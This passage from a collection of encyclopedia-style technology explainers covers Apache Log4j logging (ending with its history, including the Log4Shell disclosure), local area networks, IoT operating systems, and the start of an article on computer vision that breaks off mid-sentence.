logged with an indication of its level. For example, if the application sees an unexpected scenario it may log it as WARN; log it as ERROR if the transaction can't be completed; log it as FATAL if application can't proceed further without a reboot or reinitialization.\n\nWe can control how much to log without changing the code. For example, with log level ERROR only errors or more series events will be logged. So the call `logger.error()` will be logged but not `logger.info()`. During debugging, log level can be changed to DEBUG to log more messages. \n\nLog level can be dynamically changed at runtime: `Configurator.setLevel(\"com.example.Foo\", Level.DEBUG);` \n\n\n### How can I format Log4j messages?\n\nLog4j supports a number of logging formats, what are formally called as **Layouts**: CSV, GELF, JSON (pretty or compact), JSON Template, Pattern, RFC5424 (enhanced Syslog), Serialized (deprecated), Syslog (BSD Syslog and used in Log4j 1.2), XML (pretty or compact), and YAML. \n\nIf location information is logged (filename, line number) or location-specific patterns are used (`%C` or `%class`, `%F` or `%file`, `%l` or `%location`, `%L` or `%line`, `%M` or `%method`), there's a performance impact, especially for asynchronous loggers. Default configuration excludes location information. \n\nFor the pattern layout, message formatting relies on the *conversion pattern*, which is similar to `printf` formatting in C. For example, the conversion pattern `\"[%-5p] %d{yyyy/MM/dd HH:mm:ss,SSS} %t %c: %m%n\"` logs right padded five-character width logging level (`%-5p`), datetime in a specific format (`%d{pattern}`), thread name (`%t`), logger name (`%c`), log message (`%m`) and newline (`%n`). The \"-5\" in \"%-5p\" is a format modifier. Modifier \"20.-30\" implies left pad to 20 characters or truncate from the end to 30 characters. \n\n\n### What are Log4j API essentials that a developer should know?\n\nThe main package defining the Log4j API is `org.apache.logging.log4j`. Public message types are in package `org.apache.logging.log4j.message`. An implementation is available in package `org.apache.logging.log4j.simple`. \n\nEssentially, if you're developing a library you should use the API, not the concrete implementation. The application that uses your library will determine whether to use `org.apache.logging.log4j.simple` or another implementation of the Log4j API. \n\nLog4j API has four main interfaces: \n\n    + `LogBuilder`: To construct log events before logging them.\n    + `Logger`: Main interface of the `log4j` package. Class `org.apache.logging.log4j.simple.SimpleLogger` implements this interface.\n    + `Marker`: Adds filterable information to log messages. Markers are hierarchical. For example, \"Error\" marker can have children \"SystemError\" and \"ApplicationError\".\n    + `ThreadContext.ContextStack`: ThreadContext Stack interface.Among the classes are `EventLogger`, `Level`, `LogManager`, `MarkerManager`, `ThreadContext`, and more. `LogManager` is the anchor point for the Log4j system. Methods of this class include `getContext()`, `getLogger()`, `getRootLogger()`, and more. \n\n`LoggingException` is thrown when logging error occurs. \n\nFor detailed information, consult the complete Log4j API documentation.\n\n\n### What's SLF4J and is it better than Log4j 2?\n\nSLF4J is a \"simple logging facade\", which is really a logging interface that applications can call. SLF4J forwards API calls to a concrete implementation used by the application. Such an implementation could be `java.util.logging`, Log4j, Logback, etc. A logging implementation can conform to SLF4J API and thereby enable developers to easily switch implementations. We may say that SLF4J does for logging what ORMs have done for database interfacing.\n\nBoth Log4j 2 and SLF4J separate the API from the implementation. This gives developers flexibility. To use Log4j, application code can call SLF4J API that are then routed to Log4j's specific implementation. An alternative is to make Log4j calls but use the *log4j-to-slf4j* adapter to route calls to any SLF4J-compliant library. Hence, calling Log4j API directly in code doesn't tie you down to only Log4j. \n\nIn fact, Log4j has some advantages over SLF4J. SLF4J can log only strings but Log4j can also log objects (implementations do the necessary conversions). Log4j supports Java 8 lambda expressions. Log4j has better support for garbage-free logging. \n\n\n### What are some best practices when using Log4j?\n\nLogging gives us insights into application use and helps in troubleshooting. Too much logging can affect application's performance. Too little logging can be ineffective. Logs should include descriptive messages along with sufficient context to make them useful. \n\nDon't log sensitive information such as passwords, credit card numbers or access tokens. \n\nUse suitable log levels for your messages and use them consistently. \n\nWhen an exception in logged, include the exception object for more context, such as `try {...} catch (IOException ioe) { LOGGER.error(\"Error while executing main thread\", ioe); }`. This will include the stack trace, which can be very useful. \n\nLogging in JSON can be better for storing logs in a log management system. JSON is also better for multiline messages such as stack traces. An appender can be configured for logging in JSON. \n\nWhere performance is critical, consider logging asynchronously. Logging directly over a network may not be ideal since network errors can cause some log entries to be lost. Inside containers, log files are not permanent. Hence, log to the standard output or over a network to a centralized system. \n\n\n### What other projects are inspired from or associated with Log4j?\n\nApache Log4j comes under an umbrella project named *The Apache Logging Services Project*. Apart from Log4j, this includes Apache Log4j Kotlin and Apache Log4j Scala. Both these are APIs in their respective languages for Log4j. There's also Apache log4cxx and Apache Log4Net that are ports of Log4j for C++ and .NET respectively. Apache Log4j Audit is meant for audit logging. \n\nOther ports include log4c (C); log4js, JSNLog (JavaScript); log4perl (Perl); Apache log4php (PHP); and log4r (Ruby). Log4j can also be used in languages Clojure and Groovy. \n\nApache Chainsaw is a GUI-based log viewer. It simplifies the analysis of logs via colour coding, tooltips, filtering, search function, navigation, etc. In fact, there are many other log viewers out there: OtrosLogViewer, Lilith, Eclipse LogViewer Version, Splunk, LogSaw, LogMX, and more. \n\nComplete log management is possible with SolarWinds Log Analyzer, Sematext Logs, Datadog, Fluentd, LogDNA, Splunk, Elastic Stack, and more.  \n\n\n### As a beginner, how do I get started with Log4j?\n\nThe official Apache Log4j 2 project site is an ideal place to get started. It has links to the user's guide, articles, tutorials and FAQ. It also hosts the project's Javadoc API documentation.\n\nInstalling and configuring Log4j 2 is also described. You need to update project dependencies in file `pom.xml` used by Maven builder. Log4j 2 configuration can be in XML, JSON, YAML or properties formats. This file would include the appenders, their pattern layouts, the loggers, and the mapping between loggers and appenders. \n\nDocumentation informs how to configure Log4j for other builders including Maven, Ivy, Gradle, and SBT. Project dependencies are also listed.  \n\nMigration guides are available for those who wish to migrate from Log4j 1.x to 2.x.  \n\n## Milestones\n\n1991\n\nJames Gosling and others start work on a new language for interactive television. They name it *Oak*. In 1995, this is renamed to *Java*. The first public release of the language happens in 1996. \n\n1996\n\nThe E.U. SEMPER project creates its own tracing API for Java, which later evolves to *Log4j*. In these early years of Java, there's no universal logging framework or library. Every application includes its own logging or tracing API. \n\nJan  \n1999\n\nThe Apache Software Foundation adopts Log4j under its *The Apache Logging Services Project*. This project \"creates and maintains open-source software related to the logging of application behavior.\" First versions of Log4j appears in October.  \n\nJan  \n2001\n\n**Apache Log4j v1.0** is released. Package hierarchy starts at `org.apache.log4j`. In subsequent years, Log4j proves to be the first of its kind to gain traction in the Java world for logging. It's also credited for introducing hierarchical logging, a concept that other loggers go on to adopt. \n\nFeb  \n2002\n\nSun Microsystems releases Java 1.4 that includes `java.util.logging` (available since mid-2001 in its beta release). Its API appears to be similar to Log4j. Open source implementations of this API for Java 1.2 and 1.3 become available. \n\nMay  \n2002\n\n**Apache Log4j v1.2** is released. This release is maintained till May 2012 when v1.2.17 is released. In August 2015, Apache announces **end of life for Log4j 1.x**.  \n\nJul  \n2012\n\nWork starts on **Apache Log4j 2**. It's a complete rewrite of Log4j and it's incompatible with Log4j 1.x. It's inspired by Log4j 1.x and `java.util.logging`. Log4j v2.0 released in July 2014. Package hierarchy changes in Log4j 2 to `org.apache.logging.log4j`. \n\nSep  \n2017\n\nJava 9 is released. This **breaks compatibility for Log4j 1.x** due to a feature called Mapped Diagnostic Context (MDC). MDC's equivalent in Log4j 2 is Thread Context Map. Applications using Log4j 1.x but without MDC may still work. But given Log4j 2's many features, developers will find it worthwhile to migrate to it. \n\nNov  \n2021\n\nA member of the Alibaba Cloud Security Team finds a vulnerability in Log4j 2. The team informs Apache. Called **Log4Shell**, the vulnerability is made public in December. Given the widespread use of Java and hence Log4j 2, this is considered a series vulnerability affecting cloud servers, enterprise applications, IoT devices, routers, firewalls, printers, etc. Apache fixes the issue in releases 2.15.0, 2.16.0 and 2.17.0 (Dec 2021). Meanwhile, websites and businesses list affected software and mitigation strategies.","meta":{"title":"Apache Log4j","href":"apache-log4j"}}
{"text":"# Local Area Network\n\n## Summary\n\n\nLocal Area Network (LAN) is a computer network used for connecting computers within a limited geographical area such as offices, schools and buildings. Interconnected LANs dispersed over a wider area is called a Wide Area Network (WAN).\n\nA LAN consists of cables, switches, routers, and bridges that together enable devices to connect and communicate with one another. Devices connected in a LAN have shared access to the interconnecting medium. When the medium is made of physical wires or cables, we called it **Wired LAN**. If the medium is radio waves we called it **Wireless LAN (WLAN)**.\n\nThe most common technology used for wired LANs is Ethernet. For wireless LANs, IEEE 802.11 standards are used and their commercialized technology is called Wi-Fi.\n\n## Discussion\n\n### What are the characteristics of a LAN?\n\nLAN is a low-cost and effective network type capable of connecting multiple devices on a single transmission medium so that every device in the network can communicate with one another. \n\nLAN coverage is over a limited extent, from meters to a few kilometres. The quality of data transmission in LAN is comparatively higher than other network types due to the shorter coverage area. Switches or routers are used to construct a LAN network most of the time. This ensures higher data transmission speeds and reliability. \n\nSetting up a LAN network can be done at low costs. If there's a need for expansion, it can be done quickly. \n\n\n### What are the different LAN types?\n\nBased on the communication mode, LAN can be generally classified into two types: \n\n    + **Client-Server LAN**: In this mode, only a single central server is used to connect with multiple clients through wired or wireless medium. If a client device needs to send a packet to another client, communication happens via the central server.\n    + **Peer-to-Peer LAN**: In this mode, there's no need for a central server. Clients can communicate with each other directly. Sending a file is easier and faster, thus enabling higher speeds.\n\n### What's the difference between Wireless LAN and Ethernet LAN?\n\nWireless LAN as the name suggests uses radio waves to transmit data whereas Ethernet uses wires to transmit data. Data transfer or communication through Ethernet LAN is more stable and faster, though both have their benefits. \n\nThe particular Radio Frequency (RF) spectrum used in WLAN determines the coverage. Signal propagation and hence radio coverage are affected by walls, metal objects and even people. Coverage can be increased with wireless repeaters, bridges and access points. Data rates are steadily increasing for WLAN with the recent Wi-Fi 6 release (Feb 2021) that supports a maximum throughput speed of 9.6Gbps across multiple channels with 75% lower latency. \n\nEthernet LAN primarily uses electrical signals to transmit data through cables. It has less interference than WLAN. Unshielded Twisted Pair (UTP) cables are commonly used to establish Ethernet connections. 10 Gigabit Ethernet (10GbE) is the latest standard that can offer a maximum throughput speed of 10Gbps. \n\n\n### Could you describe some limitations of LANs?\n\nLAN networks are only suitable for transmission over a limited distance. The cost of installation rises as the coverage area expands.\n\nLAN requires security to avoid threats from malware and viruses. Since computers are interconnected, any security breach can impact the entire network. Apart from securing devices physically, LAN security can be compromised by misconfigurations including weak passwords and improper allocation of devices. Obviously WLANs are easier to attack because physical access to network devices is not required. However, even in wired LANs, physical access to LAN sockets in hallways and reception areas can pose risks. It becomes important to keep the entire network under a policy guideline to avoid possible threats.\n\n\n### What type of devices are commonly found on a LAN?\n\nA LAN has many types of devices:   \n\n    + **Host**: End device (client or server) that can send and receive data.\n    + **Repeater**: Operates at the physical layer. Receives data on one port, boosts the signal and sends it out on another port.\n    + **Hub**: Essentially a multi-port repeater. All devices connected to the hub belong to the same LAN segment. A packet coming on one port is forwarded to all other ports. More devices connected to a single hub will result in packet collisions and drop in throughput.\n    + **Bridge**: Connects two or more LANs in the network. Isolates its ports to accommodate more devices. Bridges forward frames between different LAN segments by looking at MAC addresses. It works at physical and data link layers.\n    + **Switch**: Similar to a bridge but more sophisticated. Whereas a bridge typically implements functionality in hardware, a switch does it in software.\n    + **Router**: A layer 3 or network layer device. It routes packets by looking at IP addresses. Essential for connecting to the Internet.\n    + **Gateway**: Interconnects to another network type, either LAN or WAN, by translating between their protocols.\n\n### How does Virtual LAN differ from a normal LAN?\n\nVirtual LAN (VLAN) increases the capabilities of a normal LAN. It's a logical way of separating traffic between multiple logical or virtual networks that exists physically on the same network. VLANs are mostly used by organizations with a large number of devices.\n\nIn a normal LAN, a broadcast message reaches all nodes whether they need it or not. In a VLAN, only a subset of nodes that belong to that VLAN (aka broadcast domain) will receive the broadcasted packet. Thus, VLANs mitigate packet flooding and network congestion. \n\nVLANs minimize security risks by reducing the number of hosts that receive a packet. Moreover, hosts that hold sensitive information can be on a separate VLAN. VLANs enable flexible network configuration, such as, grouping hosts by department rather than physical location. VLANs can be easily reconfigured just by changing port configurations. \n\nImplementation of VLAN will be cost-effective as it's built using switches. Routers are needed only for sending data outside the LAN.  \n\n\n### Could you describe the different types of LAN topologies?\n\nTopology in networking refers to the way of devices are interconnected. Some major LAN topologies are: \n\n    + **Bus Topology**: Also known as the backbone network. Simplest and widely used network design that needs only a single cable for connectivity. A device known as a terminator is placed at both ends to avoid signals reflecting back to each other.\n    + **Star Topology**: A central device acts as a hub and connects to all other devices. Data on the network passes through devices in between before reaching the destination.\n    + **Ring Topology**: Nodes are arranged in a ring topology. Data passes through each node before reaching the destination. Traffic can be bidirectional and the chances of packet collisions are less. Broken network links affect bi-directional communication.\n    + **Mesh Topology**: Nodes are connected to each other in point-to-point configuration. Each node has multiple paths to reach another node. If one path fails, an alternate path is used, making this topology more fault-tolerant.\n\n### What are the different data transmission methods used in LANs?\n\nIn communications, data can be transmitted in a few ways: \n\n    + **Unicast**: It's a one-to-one data transmission method that typically uses a connection-oriented protocol such as TCP (Transmission Control Protocol). A web server that transmits or streams data to a single user via a unique connection is an example of unicast.\n    + **Multicast**: It's a one-to-many data transmission method that uses a connectionless protocol such as UDP (User Datagram Protocol). A simple example is an email addressed to a specific group of recipients.\n    + **Broadcast**: It's a one-to-all data transmission method. Data originates from a single point and is sent to all users simultaneously. Cable TV is an example of a broadcast network.In LAN, unicasting is predominant with many applications using it (FTP, HTTP, Telnet). Multicasting is implicit in the way a hub operates. VLAN is also multicasting in some sense. Explicit multicasting is possible via the IGMP protocol. Broadcasting is usually employed when a node wants to discover something, such as in ARP and DHCP protocols. \n\n\n### How does a LAN interface with a WAN?\n\nRouters connect LAN devices to WAN and then the wider internet. Most wireless routers come with two types of physical ports labelled as LAN and WAN. A WAN port is mostly connected to a modem that makes the router capable of accessing the internet. LAN port can be used to connect with devices that don't have Wi-Fi support. For secure communications, the LAN and WAN ports are internally separated by a firewall. Devices connected via WAN ports can't access the LAN devices unless port forwarding is configured. \n\nOne of the essential operations done by a router is called **Network Address Translation (NAT)**. NAT is designed to conserve IP addresses. Rather than give every device in the world a unique IP address, LAN devices have unregistered IP addresses that are valid only within that LAN. Router acts as an intermediary and presents to the internet a single public IP address. Router translates between internal private addresses and the public address. \n\n\n### Could you describe some recent advancements in LAN technology?\n\nLAN has seen significant development since its inception in the 1970s and has grown exponentially with changing demands and needs of users. Availability of next-generation WLAN cloud services, 5G, IoT, smart buildings, and cabling trends are transforming the industry. \n\n**Single-Pair Ethernet (SPE)** has become the trend for being faster and cost-effective. It provides transmission speeds up to 1Gbps with a single pair of twisted copper wires rather than the classic four-pair cables or RJ45 connectors. \n\n**All over IP** is an approach to building automation with IP alone. It's an integrated approach that brings together Ethernet/IP cabling, Power over Ethernet (PoE), and WLAN. Since all devices understand IP, there's no need for protocol translation in between. Such standardization improves reliability and availability.  \n\nAdoption of Passive Optical LAN (POLAN) cable has changed the fundamental LAN architecture by replacing copper cables with single-mode fiber optic cables, providing higher bandwidth and numerous other advantages. \n\n## Milestones\n\n1972\n\nDr. Robert M. \"Bob\" Metcalfe and his colleagues at Xerox PARC develop the first experimental Ethernet network called **Alto Aloha Network** for connecting with Altos, a personal workstation. \n\nMay  \n1973\n\nMetcalfe renames Alto Aloha Network to **Ethernet**. He clarifies that this network can support any device. In a memo titled *Alto Ethernet* he gives a schematic representation in which personal computers can connect to a printer via a coaxial cable. \n\n1974\n\nCambridge University initiates the **Cambridge RING Project** for communication of devices through the *Laboratory* within the campus. Information flows on twisted pair cables between the printers and computers. \n\nJul  \n1976\n\nDavid Boggs and Bob Metcalfe publish a paper titled *Ethernet: Distributed Packet Switching for Local Computer Networks*. The same year Ethernet becomes an open networking standard funded by three companies Xerox, DEC and Intel. \n\nDec  \n1977\n\nThe **first commercial LAN** is installed by Datapoint Corp. at Chase Manhattan Bank in New York. It uses the Attached Resource Computer (ARC) network using a token ring scheme for Ethernet. \n\nDec  \n1984\n\nThe Institute of Electrical and Electronics Engineers (IEEE) publishes the standard **IEEE 802.3** that specifies the Carrier Sense Multiple Access with Collision Detection (CSMA/CD) access method, which is essential for the working of a LAN. \n\n1991\n\nKalpana Corporation launches a new device called **LAN switch**. Each port can run at full capacity simultaneously, something not possible with hubs. This is later called an Ethernet switch and it provides high-throughput communications. \n\n1995\n\n**Fast Ethernet (FE)** is introduced with transmission speed up to 100Mbps to meet the increasing the needs of users. It's specified by the IEEE 802.3u standard. \n\n1997\n\nFirst version of **Wireless Local Area Network (WLAN)** standards IEEE 802.11 is published with two raw data rates of 1 or 2Mbps. \n\nJun  \n2003\n\n**Power over Ethernet (PoE)** is defined by the IEEE 802.3af and 802.3at standards. It can pass electric power along with data on twisted pair Ethernet cable. PoE can provide 48 volts over a 4-wire or 8-wire twisted pair. It's useful at locations without a power outlet.\n\nDec  \n2013\n\nIn WLAN, the standard IEEE 802.11ac is defined. It operates at the 5GHz band with support for MU-MIMO (Multi-User MIMO). This allows access points to communicate with multiple devices simultaneously. \n\nDec  \n2017\n\n**400GbE Ethernet** interface is approved by IEEE under the IEEE 802.3bs standard. It can transmit data up to 400Gbps, which is four times faster than 100Gbps standard while also consuming less power. \n\nFeb  \n2021\n\nThe IEEE 802.11ax standard or **Wi-Fi 6** is launched. It provides more speed and greater stability on a higher bandwidth channel than its predecessors. MU-MIMO in Wi-Fi 6 can work in both 2.4GHz and 5GHz bands.","meta":{"title":"Local Area Network","href":"local-area-network"}}
{"text":"# IoT Operating Systems\n\n## Summary\n\n\nThe use of operating systems for IoT hardware is often categorized into two groups: end devices and gateways. End devices or nodes are often lot smaller in capability as compared to gateways. As more and more processing is pushed to the network edges (to gateways and nodes), traditional devices that used to run without an OS are embracing new OS implementations customized for IoT.\n\nWhile IoT OS are an evolution of embedded OS, IoT brings its own additional set of constraints that need to be addressed. A mix of open source and closed source IoT OS exist in the market. Since IoT is varied in terms of applications, hardware and connectivity, we expect the market will sustain multiple OS rather than just a couple of them.\n\n## Discussion\n\n### Do IoT end devices require an OS in the first place?\n\nWhile having an OS is not mandatory, devices are growing in complexity. This complexity is due nodes having more sensors, more data processing and increased connectivity to send that data out. Some devices have rich user interfaces that might include graphical displays, face recognition and voice recognition. End devices that were often based on 8-bit or 16-bit MCUs are moving to 32-bit architectures as costs drop and complexity increases. Addressing these changes without an OS is not only a challenge but also inefficient. The use of OS, particular an RTOS, simplifies the job of application programmers and system integrators because many of the low-level challenges are taken care of by the OS. \n\nAs a thumb rule, a system that consumes less than 16KB of RAM and Flash/ROM does not require an OS. Such systems most often run on 8-bit or 16-bit MCUs. With such systems, we can get away with a single event loop that polls and processes events as they occur. But if more complexity is added to the system, the response times will be limited by the worst-case processing time of the entire loop. \n\n\n### What are the parameters for selecting a suitable IoT OS?\n\nThe following parameters may be considered for selecting an IoT OS:\n\n    + Footprint: Since devices are constraint, we expect OS to have low memory, power and processing requirements. The overhead due to the OS should be minimal.\n    + Scalability: OS must be scalable for any type of device. This means developers and integrators need to be familiar with only one OS for both nodes and gateways.\n    + Portability: OS isolates applications from the specifics of the hardware. Usually, OS is ported to different hardware platforms and interfaces to the board support package (BSP) in a standard way, such as using POSIX calls.\n    + Modularity: OS has a kernel core that's mandatory. All other functionality can be included as add-ons if so required by the application.\n    + Connectivity: OS supports different connectivity protocols, such as Ethernet, Wi-Fi, BLE, IEEE 802.15.4, and more.\n    + Security: OS has add-ons that bring security to the device by way of secure boot, SSL support, components and drivers for encryption.\n    + Reliability: This is essential for mission-critical systems. Often devices are at remote locations and have to work for years without failure. Reliability also implies OS should fulfil certifications for certain applications.\n\n### What parameters are important for selecting a suitable IoT OS?\n\nThe short answer is that there's no universal subset of important parameters. While there are many parameters for selection, some of them may be more important than others depending on the hardware type and application. For example, a small memory footprint may be important for end devices but not so for gateways. Compliance to standards may be important for an industrial application but not so for a hobby project. Someone looking at only ARM-based hardware might choose ARM mbed at the expensive of platform portability. A device that has access to a power supply might not expect power optimization from its OS; whereas a battery-powered device might expect the OS to do power management so that the battery can last for 10 years. \n\n\n### What certifications might an IoT OS require?\n\nThis is dependent on the vertical. The following is a non-exhaustive list: \n\n    + DO-178B for avionics systems\n    + IEC 61508 for industrial control systems\n    + ISO 62304 for medical devices\n    + SIL3/SIL4 IEC for transportation and nuclear systems\n\n### What are the open source IoT OS?\n\nThe following is a non-exhaustive list: TinyOS, RIOT, Contiki, Mantis OS, Nano RK, LiteOS, FreeRTOS, Apache Mynewt, Zephyr OS, Ubuntu Core 16 (Snappy), ARM mbed, Yocto, Raspbian.\n\nSome of these have come from academic institutions. TinyOS and Contiki are among the oldest. RIOT is more recent and has an active community of developers. FreeRTOS is among the popular ones. LiteOS is from Huawei. ARM mbed is single-threaded, event-driven and modular. It's has good connectivity and low footprint. In Zephyr OS the kernel is statically compiled, which makes it safe from compile time attacks. With Ubuntu Core, rather than having a monolithic build, kernel, OS and apps are expected be packaged and delivered as snaps. Android Things, previously named Brillo, is Google's offering. Yocto is not exactly an embedded Linux distribution. It's a platform to create a customized distribution for your particular application. \n\n\n### What are the closed or commercial IoT OS?\n\nThe following is a non-exhaustive list: Android Things, Windows 10 IoT, WindRiver VxWorks, Micrium µC/OS, Micro Digital SMX RTOS, MicroEJ OS, Express Logic ThreadX, TI RTOS, Freescale MQX, Mentor Graphics Nucleus RTOS, Green Hills Integrity, Particle.\n\nWindows 10 IoT comes in three flavours: IoT Enterprise, IoT Mobile Enterprise and Core. TI RTOS and Freescale MQX target the respective chipsets. Where reliability and safety are important, some of these commercial systems are preferred, particularly in aerospace, automotive, healthcare and industrial systems. Windows 10 IoT and Particle are examples that enable easy integration to cloud services.\n\n\n### What are the popular IoT OS out there?\n\nFrom the IoT Developer Survey 2018 conducted by Eclipse Foundation, it was found that 71.8% of the respondents like or use Linux-based OS. Within Linux, Raspbian takes the lead. Windows and FreeRTOS follow at 22.9% and 20.4%. However, the sample size in this survey was small. \n\nIt's interesting that 19.9% of developers prefer bare-metal programming. **Bare-metal** is a term that's used when no OS is used. Bare-metal is preferred for constrained devices. It's a cheaper option but development and support costs may increase. If the device's processing, memory and power requirements can allow it, Embedded Linux is preferred. It will have a shorter time-to-market, better security, wider support base and well-tested connectivity solutions. \n\n\n### Do IoT OS need to be real-time OS?\n\nRTOS will be required where data has to be processed within time constraints, often without buffering delays. Where multiple threads are required that have to meet deadlines and share resources effectively, RTOS will be needed. \n\nThere will also be a class of devices that may not have strict real-time constraints. For some, a richer user interface may be more important. Some may buffer data and transmit them occasionally to save power. Such devices need not have an RTOS and may adopt a simpler OS. However, a survey from 2015 has shown that many designers who choose an OS mention real time as one of the top reasons. \n\nDesigners may choose to use multiple processors where it makes sense. For example, an 8-bit MCU may be used to interface to sensors and actuators; a 32-bit processor will run the RTOS for connectivity and multithreading. \n\n\n### What are typical memory requirements for IoT OS?\n\nSensor nodes will have less than 50KB of RAM and less than 250KB of ROM. Contiki requires only 2KB of RAM and 40KB of ROM. Similar numbers are quoted for Mantis and Nano RK. Zephyr requires only 8KB of memory. Apache Mynewt requires 8KB of RAM and 64 KB of ROM. It's kernel takes up only 6KB. Communication protocols typically take up 50-100KB of ROM. \n\nIn all cases, the numbers will increase when more components are added as required by the application. For example, one experiment with SMX RTOS showed 40KB/70KB of RAM/ROM for a node; the same OS for a gateway came up to 200KB/300KB. \n\nDevices based on Ubuntu Core, Windows 10 IoT, Android Things and MicroEJ are likely to require memories in the order of gigabytes. Gateways will typically have a footprint in the order of gigabytes. This is because of extra functionality that they are require to do: device management, security, protocol translation, retransmissions, data aggregation, data buffering, and so on. \n\n\n### What design techniques are used by IoT OS?\n\nTinyOS and ARM mbed use a monolithic architecture while RIOT and FreeRTOS use a microkernel architecture. ARM mbed uses a single thread and adopts an event-driven programming model. Contiki uses protothreads. RIOT, FreeRTOS and µC/OS use a multithreading model. In static systems (TinyOS, Nano RK), all resources are allocated at compile time. Dynamic systems are more flexible but also more complex. File systems may not be required for the simplest sensor nodes but some OS support single level file systems. With respect to power optimization, this is done for the processor as well as its peripherals. \n\n## Milestones\n\n1999\n\nThe first implementation of TinyOS happens within UC Berkeley. It is released to public in 2000. \n\n2003\n\nAdam Dunkels releases Contiki. Dunkels goes on to found Thingsquare in 2012.\n\n2013\n\nRIOT is released to the public. The origins of RIOT lie in FeuerWare (2008) and µkleos (2010). \n\nJun  \n2016\n\nIrish firm Cesanta releases 1.0-rc1 version of open source OS named **Mongoose**. Version 2.3 is released in June 2018. Mongoose makes it easy to connect your IoT devices to the cloud and do over-the-air (OTA) updates. Microcontrollers supported include STM32F4, STM32F7, ESP32, ESP8266, CC3220, and CC3200. \n\nOct  \n2016\n\nUbuntu Core 16 beta version, based on snaps, is released. \n\nDec  \n2016\n\nGoogle rebrands Brillo as Android Things. Brillo was announced earlier at Google I/O 2015. \n\nNov  \n2017\n\nAmazon announces Amazon FreeRTOS. Based on the FreeRTOS kernel, this makes it easier for developers to connect their IoT devices locally or to the cloud, to make their devices more secure and do over-the-air updates.","meta":{"title":"IoT Operating Systems","href":"iot-operating-systems"}}
{"text":"# Computer Vision\n\n## Summary\n\n\nComputer Vision is about enabling computers to see, perceive and understand the world around them. This is achieved through a combination of hardware and software. Computers are trained using lots of images/videos and algorithms/models are built. An understanding of human vision also informs the design of these algorithms/models. In fact, computer vision is a complex interdisciplinary field at the intersection of engineering, computer science, mathematics, biology, psychology, physics, and more. \n\nSince the early 2010s, neural network approaches have greatly advanced computer vision. But given the sophistication of human vision, much more needs to done.\n\nComputer vision is an important part of Artificial Intelligence. This is because we \"see\" less with our eyes and more with our mind. It's also because it spans multiple disciplines.\n\n## Discussion\n\n### How does Computer Vision compare with human vision?\n\nComputers first see every image as a matrix of numbers. It's the job of algorithms to transform these low-level numbers into lines, shapes and objects. This isn't so different from human vision where the retina triggers signals that are then processed by the visual cortex in the brain, leading to perception. \n\nCV uses Convolutional Neural Network (CNN). This is a model inspired by how the human visual cortex works, processing visual sensory inputs via a hierarchy of layers of neurons. While more work is needed to achieve the accuracy of human vision, CNNs have brought us the best results so far. CNNs lead to Deep CNNs where the idea is to match 2D templates rather than construct 3D models. This again is inspired by our own vision system. \n\nAmong the obvious differences are that CV can see 360 degrees; that CV is not limited to just visible light; that CV is not affected by fatigue or physiology; CV sees uniformly across the field of view but our peripheral vision is better in low-light conditions; CV has its own biases but they're free from biases and optical illusions that affect humans. \n\n\n### Isn't Computer Vision similar to image processing?\n\nImage processing comes from the disciplines of Electrical Engineering and Signal Processing whereas computer vision is from Computer Science and Artificial Intelligence. Image processing takes in an image, enhances the image in some way, and outputs an image. Computer vision is more about image analysis with the goal of extracting features, segments and objects from the image.  \n\nAdjusting the contrast in an image or sharpening the edges via a digital filter are image processing tasks. Adding colour to a monochrome image, detecting faces or describing the image are computer vision tasks. It's common to combine the two. For example, an image is first enhanced and then given to computer vision. Computer vision can detect faces or eyes, then image processing improves facial skin tone or removes red eye. \n\nLet's note that Machine Learning can be used for both CV and image processing, although it's more commonly used for CV. \n\n\n### How is Computer Vision (CV) related to Machine Vision (MV)?\n\nMachine vision is more an engineering approach to enable machines to see. It's about image sensors (cameras), image acquisition, and image processing. For example, it's used on production lines to detect manufacturing defects or ensure that products are labelled correctly. Machine vision is commonly used in controlled settings, has strong assumptions (colour, shape, lighting, orientation, etc.) and therefore works reliably. \n\nComputer vision incorporates everything that machine vision does but adds value by way of image analysis. Thus, machine vision can be seen as a subset of computer vision. CV makes greater use of automation and algorithms, including machine learning but the line between CV and MV is blurry. Typically, vision systems in industrial settings can be considered as MV. \n\n\n### What are some applications of Computer Vision?\n\nCV has far-reaching applications. Wikipedia's category on this topic has many sub-categories and dozens of pages: \n\n    + **Recognition Tasks**: Recognition of different entities including face, iris, gesture, handwriting, optical character, number plate, and traffic sign.\n    + **Image Tasks**: Automation of image search, synthesis, annotation, inspection, and retrieval.\n    + **Applications**: Enabling entire applications such as augmented reality, sign language translation, automated lip reading, remote sensing, mobile mapping, traffic enforcement camera, red light camera, pedestrian detection and video content analysis.Facebook uses CV for detecting faces and tagging images automatically. Google's able to give relevant results for an image search because it analyzes image content. Microsoft Kinect uses stereo vision. Iris or face recognition are being used for surveillance or for biometric identification. Self-driving cars employ a variety of visual processing tasks to drive safely. \n\nGauss Surgical uses real-time ML-based image analysis to determine blood loss in patients. Amazon Go uses CV for tracking shoppers in the store and enabling automated checkout. CV has been used to study society, demographics, predict income, crime rates, and more. \n\n\n### Could you describe some common tasks in Computer Vision?\n\n**Image Segmentation** groups pixels that have similar attributes such as colour, intensity or texture. It's a better representation of the image to simplify further processing. This can be subdivided into semantic or instance segmentation. For instance, the former means that persons and cats are segmented; the latter means that each person and each cat is segmented. \n\n**Image Classification** is about giving labels to an image based on its content. Thus, the image of a cat would be labelled as \"cat\" with high probability. \n\n**Object Detection** is about detecting objects and placing bounding boxes. Objects are also categorized and labelled. In a two-stage detector, boxing and classification are done separately. A one-stage detector will combine the two. Object detection leads to **Object Tracking** in video applications. \n\n**Image Restoration** attempts to enhance the image. **Image Reconstruction** is about filling in missing parts of the image. With **Image Colourization**, we add colour to a monochrome image. With **Style Transfer** we transform an image based on the style (colour, texture) of another image. \n\n\n### What's the typical data pipeline in Computer Vision?\n\nA typical CV pipeline includes **image acquisition** using image sensors; **pre-processing** to enhance the image such as reducing noise; **feature extraction** that would reveal lines, edges, shapes, textures or motion; **image segmentation** to identify areas or objects of interest; **high-level processing** (also called post-processing) as relevant to the application; and finally, **decision making** such as classifying a medical scan as true or false for tumour. \n\n\n### Could you mention some algorithms that power Computer Vision?\n\nHere's a small and incomplete selection of algorithms. For pre-processing, thresholding is a simple and effective method: conventional, Otsu global optimal, adaptive local. Filters are commonly used: median filter, top-hat filter, low-pass filter; plus filters for edge detection: Roberts, Laplacian, Prewitt, Sobel, and more. \n\nFor feature-point extraction, we can use HOG, SIFT and SURF. Hough Transform is another feature extraction technique. Viola-Jones algorithm is for object or face detection in real time. There's also the PCA approach called eigenfaces for face recognition. \n\nLucas-Kanade algorithm and Horn-Schunk algorithm are useful for optical flow calculation. Mean-shift algorithm and Kalman filter are for object tracking. Graph Cuts are useful for image 